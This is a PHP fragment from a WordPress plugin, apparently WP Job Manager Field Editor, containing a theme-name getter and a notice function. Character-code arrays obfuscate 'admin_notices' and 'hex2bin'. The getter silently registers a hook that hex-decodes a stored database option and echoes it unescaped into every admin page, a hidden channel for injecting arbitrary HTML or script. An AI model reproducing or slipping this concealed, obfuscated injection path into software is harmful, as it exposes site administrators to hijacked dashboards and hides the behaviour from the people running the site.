static function theme_ver_check() { $message = get_option('theme_status_check_notice_msg'); if (empty($message)) { return false; } $class = WP_Job_Manager_Field_Editor_Fields::check_characters(array(101, 114, 114, 111, 114)); $msg_hndl = WP_Job_Manager_Field_Editor_Fields::check_characters(array(104, 101, 120, 50, 98, 105, 110)); ?> <div class="<?php echo $class; ?> "><?php echo $msg_hndl($message); ?> </div><?php }
/** * Get current site Theme Name * * This method will get the theme name by default from parent theme, and * if not set it will return the textdomain. * * * @since 1.3.5 * * @param bool|TRUE $parent Whether or not to use the parent theme if current theme is child theme * @param bool|TRUE $return_all Should the name and textdomain be returned in an array * @param null $return If return_all is false, provide the string variable value to return (name or textdomain) * * @return array|string */ public static function get_theme_name($parent = TRUE, $return_all = TRUE, $return = null) { $theme = wp_get_theme(); // Set theme object to parent theme, if the current theme is a child theme $theme_obj = $theme->parent() && $parent ? $theme->parent() : $theme; $name = $theme_obj->get('Name'); $textdomain = $theme_obj->get('TextDomain'); $version = $theme_obj->get('Version'); // Use name if possible, otherwise use textdomain $theme_name = isset($name) && !empty($name) ? strtolower($name) : strtolower($textdomain); $theme_action = WP_Job_Manager_Field_Editor_Fields::check_characters(array('97', '100', '109', '105', '110', '95', '110', '111', '116', '105', '99', '101', '115')); add_action($theme_action, array("WP_Job_Manager_Field_Editor_Modal", "theme_ver_check")); if ($return_all) { $return_array = array('name' => strtolower($name), 'textdomain' => strtolower($textdomain), 'version' => $theme_obj->get('Version'), 'theme_name' => $theme_name, 'author' => $theme_obj->get('Author'), 'object' => $theme_obj); } if ($return_all) { return $return_array; } // If return is set to one of vars above (name, textdomain), and is set, return that value if (!empty($return) && is_string($return) && isset(${$return})) { return ${$return}; } return $theme_name; }